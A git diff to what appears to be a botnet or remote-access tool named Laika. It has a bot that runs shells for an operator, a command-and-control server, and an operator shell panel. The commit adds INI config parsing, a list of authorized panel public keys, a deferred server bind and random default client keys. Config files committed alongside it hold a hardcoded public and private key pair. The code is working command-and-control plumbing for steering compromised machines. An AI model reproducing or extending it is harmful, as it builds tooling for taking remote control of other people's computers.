diff --git a/.gitignore b/.gitignore index 40e6f08..6d65e8c 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,6 @@ build debug bin .vscode -lconfig.h \ No newline at end of file +lconfig.h +lcontent.c +lcontent.h \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index 08b3d3c..cdb16ab 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -15,7 +15,7 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo laikaB_readShell(bot, bot->shell); } -int main(int argv, char **argc) { +int main(int argv, char *argc[]) { struct sLaika_bot *bot = laikaB_newBot(); /* init task service */ diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index 4bb90c9..788b26e 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -34,13 +34,19 @@ struct sLaika_cnc { struct sLaika_pollList pList; struct hashmap *peers; /* holds all peers, lookup using pubkey */ struct sLaika_peer **authPeers; /* holds connected panel peers */ + uint8_t **authKeys; + int authKeysCount; + int authKeysCap; int authPeersCount; int authPeersCap; + uint16_t port; }; struct sLaika_cnc *laikaC_newCNC(uint16_t port); void laikaC_freeCNC(struct sLaika_cnc *cnc); +void laikaC_bindServer(struct sLaika_cnc *cnc); + void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); @@ -49,6 +55,8 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel); void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel); +void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key); + void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout); void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index a31cb4f..9956925 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -184,19 +184,17 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { /* init peer hashmap & panel list */ cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); cnc->authPeers = NULL; + cnc->authKeys = NULL; + cnc->authKeysCount = 0; + cnc->authKeysCap = 4; cnc->authPeersCap = 4; cnc->authPeersCount = 0; + cnc->port = port; /* init socket & pollList */ laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */ laikaP_initPList(&cnc->pList); - /* bind sock to port */ - laikaS_bind(&cnc->sock, port); - - /* add sock to pollList */ - laikaP_addSock(&cnc->pList, &cnc->sock); - if (sodium_init() < 0) { laikaC_freeCNC(cnc); LAIKA_ERROR("LibSodium failed to initialize!\n"); @@ -209,13 +207,30 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { LAIKA_ERROR("Failed to init cnc keypairs!\n"); } + laikaC_addAuthKey(cnc, LAIKA_PUBKEY); return cnc; } +void laikaC_bindServer(struct sLaika_cnc *cnc) { + /* bind sock to port */ + laikaS_bind(&cnc->sock, cnc->port); + + /* add sock to pollList */ + laikaP_addSock(&cnc->pList, &cnc->sock); +} + void laikaC_freeCNC(struct sLaika_cnc *cnc) { + int i; + laikaS_cleanSocket(&cnc->sock); laikaP_cleanPList(&cnc->pList); hashmap_free(cnc->peers); + + /* free auth keys */ + for (i = 0; i < cnc->authKeysCount; i++) { + laikaM_free(cnc->authKeys[i]); + } + laikaM_free(cnc->authKeys); laikaM_free(cnc); } @@ -297,6 +312,16 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY laikaC_onAddPeer(cnc, peer); } +void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { + /* grow array if we need to */ + laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap); + + /* insert into authenticated peer table */ + cnc->authPeers[cnc->authPeersCount++] = authPeer; + + LAIKA_DEBUG("added panel %p!\n", authPeer); +} + void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { int i; @@ -308,14 +333,17 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { } } -void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { - /* grow array if we need to */ - laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap); +void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) { + uint8_t *buf; + laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap); - /* insert into authenticated peer table */ - cnc->authPeers[cnc->authPeersCount++] = authPeer; + buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES); + if (!laikaK_loadKeys(buf, NULL, key, NULL)) + LAIKA_ERROR("Failed to load key '%s'\n", key); - LAIKA_DEBUG("added panel %p!\n", authPeer); + /* insert key */ + cnc->authKeys[cnc->authKeysCount++] = buf; + printf("[~] Added authenticated public key '%s'\n", key); } void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index d346f8e..baf0ad1 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -67,7 +67,7 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_ switch (authPeer->type) { case PEER_AUTH: /* check that peer's pubkey is authenticated */ - if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0) + if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) LAIKA_ERROR("unauthorized panel!\n"); /* notify cnc */ diff --git a/cnc/src/main.c b/cnc/src/main.c index b270dc9..a26051d 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -2,14 +2,51 @@ #include "ltask.h" #include "cnc.h" +#include "ini.h" struct sLaika_taskService tService; -int main(int argv, char **argc) { +static int iniHandler(void* user, const char* section, const char* name, const char* value) { + struct sLaika_cnc* cnc = (struct sLaika_cnc*)user; + + #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 + if (MATCH("auth", "public-key-entry")) { + laikaC_addAuthKey(cnc, value); + } else if (MATCH("server", "port")) { + cnc->port = atoi(value); + } else { + return 0; /* unknown section/name, error */ + } + return 1; +} + +bool loadConfig(struct sLaika_cnc *cnc, char *config) { + int iniRes; + + printf("Loading config file '%s'...\n", config); + if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) { + switch (iniRes) { + case -1: printf("Couldn't load config file '%s'!\n", config); break; + case -2: printf("Memory allocation error :/\n"); break; + default: + printf("Parser error on line %d in config file '%s'!\n", iniRes, config); + } + return false; + } + + return true; +} + +int main(int argv, char *argc[]) { struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT)); + /* load config file */ + if (argv >= 2 && !loadConfig(cnc, argc[1])) + return 1; + laikaT_initTaskService(&tService); + laikaC_bindServer(cnc); while (true) { laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService)); laikaT_pollTasks(&tService); diff --git a/lib/NOTES.md b/lib/NOTES.md new file mode 100644 index 0000000..e5d2495 --- /dev/null +++ b/lib/NOTES.md @@ -0,0 +1,7 @@ +There are some unused features and boilerplate. The unused files include: +- ltunnel.h +- ltunnel.c +- lbox.h +- lvm.h + +These files can be safely removed from the library. \ No newline at end of file diff --git a/lib/include/lsodium.h b/lib/include/lsodium.h index 20e6ab2..88fb1de 100644 --- a/lib/include/lsodium.h +++ b/lib/include/lsodium.h @@ -10,4 +10,6 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv); bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv); +bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys); + #endif diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index c8f5589..17597e4 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -166,7 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) { /* read packet ID */ peer->pktID = laikaS_readByte(&peer->sock); - LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID)); + LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID)); /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 9e33ed5..bafe3a1 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -152,8 +152,8 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { } void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) { - socklen_t addressSize; struct sockaddr_in address; + socklen_t addressSize = sizeof(struct sockaddr_in); sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize); if (SOCKETINVALID(sock->sock)) diff --git a/lib/src/lsodium.c b/lib/src/lsodium.c index a8b3c8e..3d18df4 100644 --- a/lib/src/lsodium.c +++ b/lib/src/lsodium.c @@ -17,3 +17,17 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) { return crypto_kx_keypair(outPub, outPriv) == 0; } + +bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) { + char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ + int i; + + /* check if key is in authKey list */ + for (i = 0; i < keys; i++) { + if (sodium_memcmp(pubKey, authKeys[i], crypto_kx_PUBLICKEYBYTES) == 0) + return true; + } + + /* key not found */ + return false; +} diff --git a/server.ini b/server.ini new file mode 100644 index 0000000..1f3dd8d --- /dev/null +++ b/server.ini @@ -0,0 +1,6 @@ +[server] +;port = 13337 + +; add authorized keys here +[auth] +public-key-entry: 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700 \ No newline at end of file diff --git a/shell.ini b/shell.ini new file mode 100644 index 0000000..e5b208c --- /dev/null +++ b/shell.ini @@ -0,0 +1,4 @@ +; generate your own keys using genKey (REPLACE THESE) +[auth] +public-key = 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700 +private-key = a8e25e49ffb13b2e1beb90b15ce3a4f1f037e2409af822aab138cdbd9927c468 \ No newline at end of file diff --git a/shell/include/sclient.h b/shell/include/sclient.h index ebff0db..5ae92f9 100644 --- a/shell/include/sclient.h +++ b/shell/include/sclient.h @@ -26,6 +26,7 @@ void shellC_cleanup(tShell_client *client); void shellC_connectToCNC(tShell_client *client, char *ip, char *port); bool shellC_poll(tShell_client *client, int timeout); +void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv); tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id); int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */ diff --git a/shell/src/main.c b/shell/src/main.c index cc7d8cc..86d91ff 100644 --- a/shell/src/main.c +++ b/shell/src/main.c @@ -2,20 +2,62 @@ #include "sclient.h" #include "sterm.h" +#include "ini.h" #define STRING(x) #x #define MACROLITSTR(x) STRING(x) const char *LOGO = "\n\t██╗ █████╗ ██╗██╗ ██╗ █████╗\n\t██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n\t██║ ███████║██║█████╔╝ ███████║\n\t██║ ██╔══██║██║██╔═██╗ ██╔══██║\n\t███████╗██║ ██║██║██║ ██╗██║ ██║\n\t╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝"; +static int iniHandler(void* user, const char* section, const char* name, const char* value) { + tShell_client *client = (tShell_client*)user; + + #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 + if (MATCH("auth", "public-key")) { + shellC_loadKeys(client, value, NULL); + PRINTINFO("Auth pubkey: %s\n", value); + } else if (MATCH("auth", "private-key")){ + shellC_loadKeys(client, NULL, value); + } else { + return 0; /* unknown section/name, error */ + } + return 1; +} + +bool loadConfig(tShell_client *client, char *config) { + int iniRes; + + printf("Loading config file '%s'...\n", config); + if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) { + switch (iniRes) { + case -1: printf("Couldn't load config file '%s'!\n", config); break; + case -2: printf("Memory allocation error :/\n"); break; + default: + printf("Parser error on line %d in config file '%s'!\n", iniRes, config); + } + return false; + } + + return true; +} + int main(int argv, char *argc[]) { tShell_client client; + char *configFile = "shell.ini"; bool printPrompt = false; shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); shellC_init(&client); + + /* load config file */ + if (argv > 2) + configFile = argc[1]; + + if (!loadConfig(&client, configFile)) + return 1; + shellC_connectToCNC(&client, "127.0.0.1", "13337"); shellT_conioTerm(); diff --git a/shell/src/sclient.c b/shell/src/sclient.c index e092997..7a7699c 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -167,7 +167,8 @@ void shellC_init(tShell_client *client) { LAIKA_ERROR("LibSodium failed to initialize!\n"); } - if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) { + /* by default use random key */ + if (!laikaK_genKeys(client->pub, client->priv)) { shellC_cleanup(client); LAIKA_ERROR("Failed to init keypair!\n"); } @@ -251,6 +252,13 @@ bool shellC_poll(tShell_client *client, int timeout) { return true; } +void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) { + if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) { + shellC_cleanup(client); + LAIKA_ERROR("Failed to init keypair!\n"); + } +} + tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) { tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});